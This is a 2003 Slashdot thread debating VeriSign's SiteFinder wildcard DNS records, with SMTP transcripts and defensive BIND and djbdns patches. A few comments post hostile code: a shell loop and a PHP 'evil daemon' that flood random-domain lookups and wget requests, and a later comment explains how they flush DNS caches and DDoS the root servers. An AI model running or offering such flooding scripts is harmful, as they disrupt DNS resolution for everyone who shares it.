    Verisign is the root domain authority. This is them overstepping bounds and trying to get into the search engine game, something which is 'forbidden' by ICANN. They're farming information that comes in, and if you'd read the handy terms and conditions, you'd notice some real oddity.

    So, you type in a mispelled URL...what if your competitor is in their database but you aren't? Furthermore, what if they get the domain wrong? Verisign only has .net and .com and there's a world of other TLDs out there.

    Then there's the email angle. They're running an MTA that barfs after the 550 for 'From: '. So they're grabbing 'legitimate' email addresses. Trust verisign? As a 'trusted' third party for certificate signing, they're supposed to remain impartial to a certain degree, except they're pushing webservices.

    --
    Oddly Draconis
    Too cynical to live, too stubborn to die.
  42. Google by Spazmania · · Score: 4, Funny

    And not to be outdone by Verisign, Google has added a default route to the global BGP table which brings any formerly unroutable web traffic to their search engine.

    NOT!

    --
    Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
  43. Re:What about the other 20%? by hkmwbz · · Score: 4, Informative
    --
    Clever signature text goes here.
  44. Re:ISC ROCKS by hephro · · Score: 2, Informative

    If BIND decided to distribute a seperate set of root servers in a cache file and enough ISPs used it the Internet DNS system as we know it today could change overnight. ;-)


    The root servers do not serve .com & .net. What you'd want is that they delegate .com & .net to somebody != Versign, but that's decision that is up to IANA and Paul Vixie and others have made it clear on nanog that their root servers will not go against IANA.

    Moreover, alternative root servers would have to delegate .com & .net to some other trusted(?) party...

  45. Re:Yeah, only SPAM, sure. by Ryosen · · Score: 2, Informative

    I have to make a small complaint here. I don't seem to be able to get the sitefinder page when I enter in an unregistered domain name. Not the links above nor just random garbage. I merely get a "Could Not Connect to Remote Server" message.

    *Sigh*. I never get to have any fun...

    --

    Ryosen
    One man's "Troll, +1" is another man's "Insightful, +1".
  46. TRUST by Craig+Ringer · · Score: 4, Insightful

    This is especially critical given that Verisign's business is supposedly trust. They sell SSL certificates, and the only way they can claim they're better to use for them than (say) I am, is that they have an established record of security procedures and trust.

    Had trust. Who can take them seriously now?

  47. Office of Homeland Insecurity by inputsprocket · · Score: 4, Funny
    .....and from Verisign's Terms and Conditions:

    "2.4 Monitoring and Communication
    VeriSign actively monitors all traffic associated with Site Finder, including DNS queries matching the wildcard entries in .com and .net and associated responses, and all traffic sent to the response server. This traffic is correlated and monitored in real time, 24 hours a day, seven days a week, by VeriSign's Network Operations Centre... complete traffic stream to the .com and .net name servers and the response server, as well as rolled up statistics, are stored for analysis."

    Ehm, well I don't agree to your Terms and Conditions, thank you very much. Please stop storing my typo data Please.

  48. Talk to a lawyer... by bluGill · · Score: 2, Insightful

    Anyone have a lawyer and a small site to try this on. I suspect that you have a case of some sort. "Your honor, we had planned for this type of mistake by having some.other.domain.com as a backup, but verisign illegally stole the expired domain and started bouncing our messages." Or some such. Of course that backup wouldn't work in the case of the domain expiring and someone else registering it instead, but you tried.

  49. Re:could NOT care less you idiot by tsvk · · Score: 3, Informative
    What irritates me more is when people refer to junk email as "SPAM" instead of "spam"
    actually, isn't that part of hormel's deal? we can continue to call UBE (insert full stops as required) SPAM as long as we capitalise it and they won't complain or try to sue anyone over dilution of trademark etc. (ie as spam is actually a product they sell).

    It's the other way around. Hormel has a trademark on 'SPAM' and would prefer UBE to be called 'spam'. See the SPAM website for more info.

  50. Re:Lot of fuss about nothing by Felinoid · · Score: 2, Informative

    What your not aware of is that about the same time Microsoft inserted it's own "helpful" page instead of what the remote server sent web admin realised the value of using the servers own internal feature of sending a more helpful page.

    The internal 404 usually is some sort of program to track down and redirect you to where you should be so instead of saying "This page no longer exists" it's saying "Hay maybe you want THIS page instead."

    Also read the 404 page more carefully. If something has gone wrong with the website your given contact information (presumming the web admin did his job and put the admin contact e-mail into the server) in the 404 message so that you can contact the person or persons responsable for maintanence and tell them what went wrong.

    But again you won't get that contact information under Microsoft Windows IE "helpful" page.

    That page is IEs best guess as to what happend and being familure with the Internet I'm usually aware of what is wrong and what is really going on and quite frankly IE has yet to guess the real cause of the 404 message.

    However the big diffrence between Microsoft IEs replacement "Hay quit complaining I'm only trying to help" and Verisons search website is that IE is on YOUR computer and if you don't like how IE works download Netscape, Opra, Mozilla or one of the many other web browsers that are out there and you get the REAL 404 message but Verison is basicly changing the Internet inferstructure to do this so we all get screwed reguardless of the programs and os we use.

    --
    I don't actually exist.
  51. Re:Lot of fuss about nothing by j7953 · · Score: 4, Informative
    MSIE has been doing this for ages, and I never found it to be a problem, but rather more helpful than the old "404 Not found" messages we used to see.

    You don't get to see a "404 No Found" response if the server doesn't even exist. You'd usually get an error message (generated by IE) that says something like "www.invaliddomain.com doesn't exist." (that's what Mozilla displays, I don't know IE's message).

    The 404 response is what you get when your browser could send a HTTP request to the web server, but the server couldn't find the page you were requesting. The response page is generated by the web server, so how helpful it is depends on what the web server admins have configured. Some pages will not simply return an error message but also include a search box, for example.

    You type junk into an URL and you expect a civilized answer?

    Well, yes, I expect a somewhat helpful error message. But that's not actually the point. The main problem with Verisign's move is that they are assuming (like you seem to do) that the purpose of the Domain Name System is to find the web server that a user is trying to contact when he types an URL into his browser. But DNS isn't used for the web only, it is used to associate names with IP addresses. You can then use the returned IP address for whatever protocol you want, DNS doesn't tell you whether or not the server with the returned IP supports that protocol.

    For all protocols that run non-interactively (i.e. without a human sitting in front of the computer and interactively deciding what server should be contacted next, and interpreting the responses), Verisign's action means that if contacting a remote system fails, the computer can now no longer find out if it's due to a misconfiguration and will likely never work (if the other computer doesn't exist), or if it's just a temporary problem (if the other computer does exist but does not respond).

    --
    Sig (appended to the end of comments I post, 54 chars)
  52. Re:Is a Technology solution ALWAYS better than law by morelife · · Score: 3, Interesting

    this effectively lets VeriSign get away with it.

    As a BIND architect/deployer/admin I see that ISC is always getting bashed. Kudos to them for this creative patch, presented almost instantly compared to their usual release schedules. But, precisely, it let's Verisign get away with this action, which is horrible. Especially because this: http://www.iab.org/Documents/icann-vgrs-response.h tml
    (which was posted in the first slashdot thread abot this topic), went unnoticed, and unheeded by Verisign.
    Big business in this country is getting WAY out of hand with greed.

  53. Re:Is a Technology solution ALWAYS better than law by Neil+Watson · · Score: 5, Interesting
    I think the anology you are looking for is:

    You dial a wrong number on your phone and a local telephone carrier answers and begins to try and sell you long distance and local services.

  54. Re:Yeah, only SPAM, sure. by ananiasanom · · Score: 2, Insightful
    I'm not a DNS expert, but couldn't Verisign work round this, by delegating x.com (where x is any unregistered domain) to a different nameserver (of their own), which would then return A records pointing to their advert server?

    Of course, they would need to customize their DNS software to do that, as opposed to just adding a line to a config file.

  55. Re:very cool.. dnscache? by Russ+Nelson · · Score: 2, Informative

    Even better is the version I wrote last night, which lets you ignore a list of names.
    names.tinydns.org/djbdns-1.05-ignoreip2.patch.
    -russ

    --
    Don't piss off The Angry Economist
  56. Re:Lot of fuss about nothing by heironymouscoward · · Score: 2, Interesting

    OK, bad form to reply to my own post, but it was a serious question, not a troll.

    Granted this breaks a lot of systems that depended on getting error results for failed lookups. So, now they will have to check for 64.94.110.11. Not nice.

    But as much as I dislike monopolists and their heavy-handed ways, the arguments against this action seem a little weak.

    One guy complains that his printer no longer works because previously, his network configuration depended on failing to resolve some addresses in order to route the request internally.

    Another person mentions that anti-spam checks based on domain names will fail. So, this is a valid check for spam? Oh, I thought spammers simply spoofed the originating host, which is why I get hundred of "returned" messages I never sent.

    Someone else complains that it's an abuse of powers given to Verisign by the government. OK... but so is 75% of business. It's a tough life, yeah.

    Seriously, I'm not trolling: I'm trying to understand what the actual technical problem is. How can any system rely on the absence of something? How can a "not resolved" error actually be more useful than a resolution to an IP address that does nothing useful?

    --
    Ceci n'est pas une signature
  57. Not Trustworthy by Michael_Burton · · Score: 4, Interesting

    With it's digital certificate business, Verisign started as a company that dealt in trust. That was the heart of their business. Now it's hard to think of a company I trust less than Verisign.

    For this stunt, they should lose their authority to register domain names. This company should never be allowed to touch internet infrastructure.

    --
    When all you have is an axe, everything looks like a grindstone.
  58. Re:Yeah, only SPAM, sure. by tubabeat · · Score: 4, Interesting
    Yeah...
    $ telnet 64.94.110.11 25
    Trying 64.94.110.11...
    Connected to sitefinder-idn.verisign.com(64.94.110.11).
    Escape character is '^]'.
    220 snubby2-wceast Snubby Mail Rejector Daemon v1.3 ready
    HELO
    250 OK
    MAIL FROM: someone@somewhere.com
    250 OK
    RCPT To: abuse@verisign.com
    550 User domain does not exist.
    RCPT To: abuse@verisign.com
    250 OK
    DATA
    221 snubby2-wceast Snubby Mail Rejector Daemon v1.3 closing transmission channel
    Connection closed by foreign host.
    Interesting that it rejects the first recipient, but accepts the second, then bomb on the DATA stage. I wonder if they're logging the email addresses that are being sent?
    --
    "Linux is a serious competitor"
    - Steve Ballmer, Chief Executive Microsoft Corp.
  59. Re:very cool.. dnscache? by Russ+Nelson · · Score: 2, Insightful

    Yup. It's crude. On the other hand, it's simple. Simple is good because you can read the patch and understand it. Consider that ISC has published three or four remote root exploits, and djbdns has had no exploits, remote, root, or otherwise. I'll take crude over insecure any day. J.P. Larocque has a script which lets you update root/ignoreip. You can update that file in a few seconds. An ISC-enabled root exploit means a complete reinstall unless you seriously trust your ability to remove a rootkit. Let's say it takes five seconds to update the file. Let's say it takes a whole day to reinstall your server (optimistic). Let's say there's a 1 out of ten thousand chance of this code causing a remote root exploit. There's 86K seconds in a day, so their code costs you 9 seconds a day. Given those assumptions, the "automatic" ISC procedure for updating the ignorable IP addresses costs you more time, on average, than updating by hand every day.
    -russ

    -russ

    --
    Don't piss off The Angry Economist
  60. Disgusting coffee mug by TheMidget · · Score: 2, Interesting
    Although coffee cup cultures are often green, any disgusting colour is allowed.

    Once discovered a bright-red coffee mould. It was in a paper filter of a coffee machine that we forgot to throw out. And yes, after thoroughly rinsing the machine, we still continued to use it...

  61. Inreased Bandwidth Usage and Other Porblems by tiny69 · · Score: 2, Interesting
    Can those that pay by the amount of data that flows through their pipes start charging VeriSign for the extra traffic?

    Currently, the page VeriSign is approximately 2.9k is size. What happens they start adding banner ads? Will the extra traffic slow down the internet as a whole?

    I wouldn't be surprised if the next Microsoft worm used VeriSign's new "feature" to bring the internet to a crawl.

    $ host thisdomaindoesnotexist.com
    thisdomaindoesnotexist.com has address 64.94.110.11

    So every program that looked for a DNS error when a domain does not exist will no longer get that error. I wonder what kind of problems this will create.

    Anything else I'm missing?

    --
    Go not unto/. for advice, for you will be told both yea and nay (but have nothing to do with the question)
  62. Re:Yeah, only SPAM, sure. by platypus · · Score: 5, Funny

    Interesting that it rejects the first recipient, but accepts the second, then bomb on the DATA stage.

    You are thinking too complex for verisign standards ;)

    $ telnet spam.aasfgsdafgsdf.com 25
    Trying 64.94.110.11...
    Connected to spam.aasfgsdafgsdf.com.
    Escape character is '^]'.
    220 snubby4-wceast Snubby Mail Rejector Daemon v1.3 ready
    gfsdfg
    250 OK
    sdfgsdgf
    250 OK
    sdfgsdgf
    550 User domain does not exist.
    sdfgsdgf
    250 OK
    sdgfdsg
    221 snubby4-wceast Snubby Mail Rejector Daemon v1.3 closing transmission channel

    Connection closed by foreign host.

  63. TOC???? by mojoNYC · · Score: 2, Interesting
    their TOC states that the 'sole remedy' is to stop using verisign services--so how do end users stop using DNS?

    Sole Remedy.
    YOUR USE OF THE VERISIGN SERVICES IS AT YOUR OWN RISK. IF YOU ARE DISSATISFIED WITH ANY OF THE MATERIALS, RESULTS OR OTHER CONTENTS OF THE VERISIGN SERVICES OR WITH THESE TERMS AND CONDITIONS, OUR PRIVACY STATEMENT, OR OTHER POLICIES, YOUR SOLE REMEDY IS TO DISCONTINUE USE OF THE VERISIGN SERVICES OR OUR SITE.

    also, it's nice to know that they've thoughtfully decided to help the US post office by only taking questions/comments via snail mail (why bother taking email?)
    If you have any questions regarding this Privacy Policy, please contact
    VeriSign, Inc.
    Attention: Legal Department
    21355 Ridgetop Circle
    Dulles, VA 20166

  64. Mozilla developers by Wolfier · · Score: 2, Funny

    How about we pre-empt Verisign by redirecting the 404 pages to this petition?

  65. Easy! by bisho · · Score: 2, Informative

    while true;
    do
    echo VerisignSucks${RANDOM}Times.com \
    | nslookup > /dev/null
    done

  66. Re:Lot of fuss about nothing by Rich0 · · Score: 3, Insightful

    but that is why we have what we call, in the jargon, "soft-ware main-ten-ance"

    And the reason that we have standards bodies is so that we don't have to do "soft-ware main-ten-ance" three times a week every time somebody on a hunch decides to break the standard. Suppose AOL decided BGP isn't a good protocol and starts broadcasting AOLBGP instead - which looks like BGP to a BGP-speaking router but isn't, and is misinterpreted to cause all their routes to get scrambled. Suppose somebody has a backup MX record which doesn't get consulted because the primary is down and Verisign unhelpfully reports that it still exists and accepts but does not deliver the email. Ditto for 100 other protocols other that http.

    What if the company contracted to do road-work decided that roads are an inefficient technology and decided to go ahead and replace them with rails instead. No problem, you just need to do a little car main-ten-ance...

  67. Re:Lot of fuss about nothing by Anonymous Coward · · Score: 2, Insightful

    Why should all our existing software have to be rewritten because Verisign screwed over the internet?

  68. Re:Sign the online petition to get ICANN into acti by Dun+Malg · · Score: 3, Insightful
    ICANN might be able to force VeriSign to get this off the net http://www.petitiononline.com/icanndns/

    Petitions only work if a) the petitioners represent a threat to the petitionee's livelyhood, or b) the petition is to force a state government to put something to a vote (e.g. referendum process). ICANN viewa us, the lowly internet users, as riff-raff. They are the lord, we are their serfs. What threat does a petition hold for them? They have absolute power and don't care what we think.

    --
    If a job's not worth doing, it's not worth doing right.
  69. Re:Yeah, only SPAM, sure. by Zocalo · · Score: 4, Insightful
    Actually the could quite easily setup their already non-standard DNS servers to simply respond with the effective equivalent of:

    * IN NS screw-isc.verisign.com. and use that to deliver their stupid A records. Of course, if they do that, then things are going to degenerate rapidly. Verisign will not back down because there is money involved, the DNS admins will not back down because of the principle of the thing.

    Should this happen, then ICANN is going to have to step up to the plate, since they are the body to which Verisign is responsible, and make a decision. So, on one side we will have the Internet DNS community, the IAB and IETF, while on the other we have Verisign exceeding their mandate for a chunk of cash. It should be a no-brainer, but given ICANN's track record I certainly wouldn't put any money on which way they would make the call.

    --
    UNIX? They're not even circumcised! Savages!
  70. Who should I write? by Kyouryuu · · Score: 4, Interesting

    Who should I write in the government to complain about Verisign's abuse of power? If I recall correctly, the US government had granted Network Solutions the power to directly control the DNS servers, but NetSol was later bought out by Verisign who has done nothing but abuse its monopoly. Is there some government agency in charge of watching over Verisign; a government computer agency? I feel the need to write someone in power about this. We can patch the problem all we want - the only true solution is to end Verisign's power over the DNS outright.

    1. Re:Who should I write? by soccerisgod · · Score: 2, Informative

      I think the chain of command is that

      VeriSign ICANN DoC (Department of Commerce)

      --
      If a train station is a place where a train stops, what's a workstation?
  71. Petition Verisign to change by digitalgimpus · · Score: 4, Informative

    http://www.petitiononline.com/verisign/

  72. Re:Yeah, only SPAM, sure. by akac · · Score: 3, Interesting

    That would be bad. We use wildcards to ease our DNS duties. For example, we have a customer who likes to create daily new domains such as somenewcompany.theircompany.com somenewcompany2.theircompany.com blahblah.theircompany.com Instead of letting them change the DNS constantly we just setup *.theircompany.com to go to their server. Then all they have to do is manage their apache/IIS/whatever web server. So having BIND remove wildcard support would break us as well as I suspect MANY sites.

  73. Re:For Windows Users by Dr.Zong · · Score: 2, Informative

    Yeah, how exactly IS this going to help??? Who modded this person informative?

    It will only work if you manually try and goto sitefinder.verigisn.com (www, ping, trace, whatever).

    Do you really understand how DNS works? If I make a query to iudsbfkjdf.com, verisign redirects me to their IP using the wildcard 'A' record, in which the webpage at that IP CLAIMS to be www.iudsbfkjdf.com.

    Adding that to hosts will only redirect you to (in your stated case - google) if you attempt to connect to sitefinder.verisign.com.

    --

    Party?!? What kind of party is this? Where's the damn keg?
    Virtus Junxit Mors Non Separabit
  74. Re:Sounds great by jdavidb · · Score: 3, Interesting

    Good questions.

    As for splitting, there are already several alternate roots. In addition to Alternic, there's OpenNIC and Pacific Root. People are using these only voluntarily, and the different roots cooperate to some extent. For example, most will only establish a new TLD if no other root is using that TLD, and most will peer TLDs for the other roots so you can see the entire composite alternate namespace. This is strictly voluntary, however.

    It might be that some day the alternate roots cooperate less. We can get a glimpse of how this works through the issue of the .biz TLD. Pacific Root had a .biz TLD years before the official Internet .biz TLD. People had paid Pacific Root for this privilege. Pacific Root decided to maintain their own .biz TLD, such that if you are connected to them you will see their .biz, and if you are connected to the real Internet root servers, you'll see the official .biz. Meanwhile, they peer all the other official TLDs so that you see them. Other alternate roots made independent decisions. OpenNIC, for example, chose to continue peering the Pacific Root .biz and ignore the official one. Verisign et al can be viewed as a non-cooperative alternate root server, and this shows how a group of independent voluntary alternatives can coexist.

    As for cost, at the moment OpenNIC is free to use (I don't know about the others). I think most alternate TLDs have free registration, though I know that Pacific Root charges (and apparently makes money) for registering in the TLDs they created. If more people started using these alternate roots and costs went up, the alternate roots could start charging more registration fees, or charge users; people could choose among alternatives based on price, quality, and access to the TLDs they want to see. Competition would be good, though some alternates might have to shut down. Think about who finances the yellow pages: the users, or the people who are registered. Also, it's possible this could be entirely financed through voluntary donations.

    It's conceivable we could completely escape from Verisign just through exercising our free will to choose alternate roots.

  75. Actually, I find this new behavior quite useful... by Dave21212 · · Score: 2, Funny
    --
    "Whoever would overthrow the liberty of a nation must begin by subduing the freeness of speech."--Benjamin Franklin
  76. Re:Yeah, only SPAM, sure. by Blkdeath · · Score: 2, Insightful
    Verisign will not back down because there is money involved, the DNS admins will not back down because of the principle of the thing.

    I'm not sure if you intended it that way or not, but you make it sound like this has become a corporate versus long-haired hippy DNS admins battle. I dare say it's much more severe than that. Even my small (by comparison) mail servers are churning like sum'bitches now that they've got all sorts of "hjkvashjklfasdhl.com"-esque domains to send bounce messages to. Imagine the hapless provider with millions of e-mail accounts and, correspondingly, millions of SPAM messages per day. Formerly, forged domains could be easily chucked to the virtual circular file. Now, however, they quite happily resolve to a server that answers to SMTP queries. (Also a black hole, I imagine, but it still has to traverse half the Internet to get there)

    DNS/Sys Admins have to spend time troubleshooting this problem and attempting to work around it in several different arenas. This is definately a money versus money issue. It just so happens that we also have principals on our side.

    --
    BD Phone Home!

    Shameless plug. Like you weren't expecting it.

  77. Re:Lot of fuss about nothing by sfriedrich · · Score: 2, Informative

    No kidding! Now if you ping fartsnuggle.com it just sits and waits for the timeout, but if you ping fartsnuggle.org you get an immediate proper response of "ping: unknown host fartsnuggle.org"

  78. I called their number and got this... by mdamaged · · Score: 5, Informative

    I got a rep on the line and he seems oblivious of what was going on, after a bit I got a superviser and she gave me this email telling me that this is where the complaints are going to:

    sitefinder@verisign-grs.com

    --
    Someone asked me the difference between ignorance and apathy, I told them I don't know and I don't care.
  79. Re:Yeah, only SPAM, sure. by The+Kiloman · · Score: 2, Interesting

    Quit complaining. If you RTFA (a novel concept, I know) you would have seen that this is at a PER-ZONE level.

    As in, you say that the root zone is delegation-only and suddenly the A record that Verisign put in there is ignored.

    Say it with me again: PER ZONE. There's no reason ANYONE would put this on a normal zone. It ignores all host records, which is good because these things really don't belong in the root anyways.

    So don't worry newbie, your nice newbie domain won't be broken by the nice widdle patch. Now go install it.

    --
    You may disagree, but to be blunt, you're wrong. -tgd
  80. Re:Yeah, only SPAM, sure. by LordWoody · · Score: 2, Informative

    Actually there are plenty of legitimate uses of the wildcard feature. One you might use everyday:

    *.sourceforge.com

    How do you think they keep on top of that many DNS entries that constantly come and go? You see it at ISPs that do third level (and higher) DNS virtual hosting and and group systems where the URL might be in the form of username.domain.com instead of domain.com/~username/

    DNS supports it because it is a legitimate
    feature. And less you think removing wildcard support would fix the issue, as it has already been mentioned in this discussion, all Verisign has to do is modify their DNS server to supply responses that appear to make the domain legitimate. They already use non-standard DNS software, why not make a few more changes to enhance their bottom line?

    Even after the ISC makes the patch to disable wildcards at the TLD level, Verisign can as mentioned above work around it if they really want to by modifying how their servers respond.

    --
    Never meddle in the affairs of dragons,
    for you are crunchy and good with catsup.
  81. Re:It bears repeating by Utoxin · · Score: 3, Insightful

    This is NOT a solution!

    I repeat, this will not fix anything. Verisign controls the .com and .net TLDs, and as such, OpenNIC has to delegate all queries to their servers. Result? All unregistered .com and .net domains will still resolve to the evil SiteFinder.

    Moderators, please mod this up.

    --
    Matthew Walker
    http://www.tweeterdiet.com/ - My Diet Tracking Tool
  82. Re:Natural Adaptation. by NickFitz · · Score: 2, Funny

    The next hurricane is coming soon, but subscribers can beat the rush and flee the territory early!

    --
    Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
  83. Re:Yeah, only SPAM, sure. by inputsprocket · · Score: 3
    I wonder if they're logging the email addresses that are being sent?

    "2.4 Monitoring and Communication VeriSign actively monitors all traffic associated with Site Finder, including DNS queries matching the wildcard entries in .com and .net and associated responses, and all traffic sent to the response server. This traffic is correlated and monitored in real time, 24 hours a day, seven days a week, by VeriSign's Network Operations Centre... complete traffic stream to the .com and .net name servers and the response server, as well as rolled up statistics, are stored for analysis."

  84. Today's evil daemon by Anonymous Coward · · Score: 2, Interesting

    #!/usr/bin/php4 -q
    <?php
    chdir('/tmp/verislime');
    $charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVW XYZ0123456789";
    while (true) {
    $str = 'wget http://www.';
    $len = rand(5, 24);
    for ($i=0; $i<$len; $i++) {
    $idx = rand(0,strlen($charset)-1);
    $str .= $charset[$idx];
    }
    $str .= ( ((rand()%2)==0) ? '.com' : '.net');
    system($str);
    }
    ?>

  85. Re:It bears repeating by DavidTC · · Score: 4, Informative
    Posting with a +1 bonus to attempt to get people to see this.

    It's amazing how many super cool random people are running around suggesting using OpenNIC, which, of course, won't do a DAMN FUCKING THING. Anyone who suggests an alternate root has demonstrated they have no knowledge of how DNS works at the topmost level.

    Please, someone go around and find all the posts that mention this and moderate them up! I've posted at least three posts pointing this out, and other people have also.

    I'm starting to think everyone should have a few emergency -1: Wrong mod points to get rid of information that is just flatout incorrect.

    --
    If corporations are people, aren't stockholders guilty of slavery?
  86. Beginning of an arms race (aka Spam) by DDumitru · · Score: 3, Insightful

    This is more than a little troubling.

    The BIND patch is very simple and elegant. It relies on the particular technical method that Verisign used to implement their wildcard responses. But we can make some assumptions here.

    If Verisign truely believe they have the "right" to do whatever they want to do with the root zone files, they can easily circumvent the patch.

    One design that they might try is to take the inbound domain name, hash it, take a modulo of the hash and create a "fake" SOA and NS for that domain name on a unique IP address. With a pool of only several thousand real IP addresses they could create what looks like 100% real zones for everything. They could even send the traffic to one of many different IP addresses. This could be an arms race that never ends.

    The only "real" solution is that the root zone files must be "trusted".

    If Verisign refuses to change their behaviour then one of several things must happen.

    o ICANN / IANA must force them to
    o DOC must force them to
    o Private lawsuits must force them to
    o State AGs must force them to
    o Everying must blackhole "ALL" Verisign owned IP addresses and effectively take them off of the net.

  87. Re:Yeah, only SPAM, sure. by ncc74656 · · Score: 4, Informative
    everybody, click after me Do not attempt to own us

    Doesn't work for me...then again, I've already fixed djbdns here to return NXDOMAIN when a lookup resolves to Verisign's squatter page. (A copy of the patch is here (the patch isn't mine, but the only place I've seen it is buried in bugs.gentoo.org) and an ebuild for your local Portage tree is here. To use the ebuild, you'll also need to copy Manifest and files/1.05-errno.patch from /usr/portage/net-dns/djbdns.)

    --
    20 January 2017: the End of an Error.
  88. Re:Yeah, only SPAM, sure. by devilspgd · · Score: 3, Informative
    Naa, it's dumber then that, it doesn't even look at RCPT or commands at all...

    220 snubby2-wceast Snubby Mail Rejector Daemon v1.3 ready
    I am
    250 OK
    Evil
    250 OK
    Homer
    550 User domain does not exist.
    da da dada
    250 OK
    DA!
    221 snubby2-wceast Snubby Mail Rejector Daemon v1.3 closing transmission channel

    Connection to host lost.

    It doesn't care WHAT you type, you get the same garbage no matter what.
    --
    Give a man a fish, he'll eat for a day, but teach a man to phish...
  89. Better petition by kiddailey · · Score: 2, Informative

    Here is a much better petition entitled: "Stop Verisign DNS Abuse"

  90. offtopic? i think not. by joe_bruin · · Score: 4, Informative

    i didn't write this the post above, but it is definitely not offtopic. here's a brief rundown of what it does:

    generates a random string of characters.
    performs a "wget" to look up that string as a domain name, and fetch the url returned and dump contents to /dev/null. obviously, this string (with appended .com) resolves to verisign's search page.

    this accomplishes two things. first, or course, is wasting verisign bandwidth. more interestingly, however, it causes dns servers upstream from you to cache the address of all these garbage domains. when their dns cache fills up, they start discarding older entries they have had in there. basically, this is forcing dns servers to constantly flush their caches of any useful data. this, in turn, makes every valid dns query have to cascade all the way down to the root servers. that is, "slashdot.org" is no longer cached in your isp's dns cache, so every user on you isp trying to get to slashdot is contributing to a DDOS of verisign's root servers.

    well done.

  91. Re:One more dnsmasq patch by hummassa · · Score: 2, Informative

    replace

    while( bogus_addrs[i].addr.addr4.s_addr != (in_addr_t)-1 )

    with

    while( bogus_addrs[n].addr.addr4.s_addr != (in_addr_t)-1 )

    or you'll be sorry.

    --
    It's better to be the foot on the boot than the face on the pavement. ~~ tkx Kadin2048
  92. Strong language by lysium · · Score: 2, Insightful
    'Atrocity' is a heavy word for ruining the DNS system as we know it, when compared to the senseless killing of thousands. I hearby coin the term 'etrocity' (possible alternate: e-trocity) to fill this hole in our vocabulary.
    You're welcome.

    ==========

    --
    Together, we will drive the rats from the tundra.
  93. Patched BIND is an elegant solution by ayafm · · Score: 4, Informative
    I just installed the patched BIND 9.2.x for NodeWorks so it could keep finding dead links for customer sites. Without this kind of technical solution, I would have had to check for redirects to the sitefinder site, and added specific logic to mark the response as invalid since it would otherwise return a valid 200 HTTP response code.

    The new feature just needed this bit added to named.conf to get it working:

    zone "com" {
    type delegation-only;
    };
    zone "net" {
    type delegation-only;
    };
    When its running, it will put message like this to /var/log/messages so you can see it working!
    Sep 17 12:58:15 proxy named[1130]: enforced delegation-only for 'com' (www.asdfsdafs.com)
    Its really amazing that the open source community can turn around a patch like this within hours of the initial problem being reported! Not only that, but the implementation is clean and technically elegant.
  94. Re:offtopic? i think not. by efti · · Score: 3, Insightful

    I don't see how DDoS-ing the root servers is going to solve this problem. A successful DoS attack against the root servers will just cause total mayhem as even legitimate domain names won't resolve any more.

    Well, actually I do see the point in doing just that, but are we prepared to destroy DNS in order to save it?

    --
    I signed up for a /. account and all I got was this crappy sig